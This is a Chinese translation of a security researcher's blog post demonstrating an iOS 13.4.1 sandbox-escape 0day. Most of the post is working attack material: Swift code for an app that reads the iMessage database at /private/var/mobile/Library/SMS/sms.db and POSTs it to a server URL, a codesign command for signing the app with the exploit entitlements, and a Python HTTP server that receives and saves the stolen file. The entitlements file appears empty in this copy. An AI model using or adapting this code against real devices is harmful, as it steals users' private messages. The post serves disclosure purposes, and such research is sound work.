译文声明
本文是翻译文章,文章原作者Wojciech Reguła 文章来源:https://wojciechregula.blog
原文地址:https://wojciechregula.blog/post/stealing-your-sms-messages-with-ios-0day/
译文仅供参考,具体内容表达以及含义原文为准
这是一篇特别的帖子,因为我完全基于另一位研究员,s1guza的0day,所有的故事都源于下面这条推特:
Siguza告诉我们,他的0day已在iOS 13.5 beta3中修复。因此,实际上这是最新的非Beta iOS版本(13.4.1)的沙箱逃逸0day。在这篇文章中,我将向您展示如何重现该错误并编写一个使用该0day窃取iMessage历史记录的恶意应用程序!
我不会详细解释此错误,因为S1guza计划发表一篇有关该错误的文章。地址:https://siguza.github.io/psychicpaper/
计划
- 创建一个应用程序来加载==sms.db==文件并发送到我们的服务器
- 使用恶意权限签署应用程序(使用0day)
- 在设备上安装应用
- 打开接收服务器
- 打开数据库!
开发
我创建了一个简单的Swift应用,其中包含以下代码:
```
import SwiftUI
struct ContentView: View {
@State var serverURLString: String = ""
var body: some View {
VStack() {
Text("""
iMessage DB stealing PoC\n
based on @s1guza's tweet\n
coded by @_r3ggi
""").multilineTextAlignment(.center)
TextField("Server URL", text: $serverURLString).padding(.all, 40).textFieldStyle(RoundedBorderTextFieldStyle())
Button(action: {
sendPostData(serverURLString: self.serverURLString)
}) {
Text("Send your sms.db!")
}
}
}
}
func sendPostData(serverURLString: String) {
let messagesPath = "/private/var/mobile/Library/SMS/sms.db"
let messagesURL = URL(fileURLWithPath: messagesPath)
let serverURL = URL(string: serverURLString)
var request = URLRequest(url: serverURL!)
request.httpMethod = "POST"
do {
if FileManager.init().isReadableFile(atPath: messagesPath) {
let rawMessagesDB = try Data(contentsOf: messagesURL)
request.httpBody = rawMessagesDB
} else {
request.httpBody = "Nope".data(using: .utf8)
}
} catch {}
let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
if let error = error {
print("Error took place \(error)")
return
}
}
task.resume()
}
```
然后,我编译了该应用程序并创建了以下权利文件:
```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
```
我签署了编译后的应用程序:
```
codesign -d --entitlements entitlements.xml SandboxEscape.app -f -s "Apple Development: wojciechregula.blog [redacted]"
```
下一步是在设备上安装应用程序:
之后,我打开了我的Python服务器:
```
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, world!')
def do_POST(self):
print("RECEIVING!!!")
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
with open("./sms.db", "wb") as f:
f.write(body)
httpd = HTTPServer(('192.168.0.14', 8888), SimpleHTTPRequestHandler)
httpd.serve_forever()
```
我打开了应用程序:
然后,我提供了服务器的URL,单击了按钮,然后……!我使用最新的非Beta iOS版本从我的iPhone发送的所有消息已发送到服务器:
我能做什么?
等待iOS 13.5。在Apple发布更新之前,请勿安装任何可疑应用程序!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论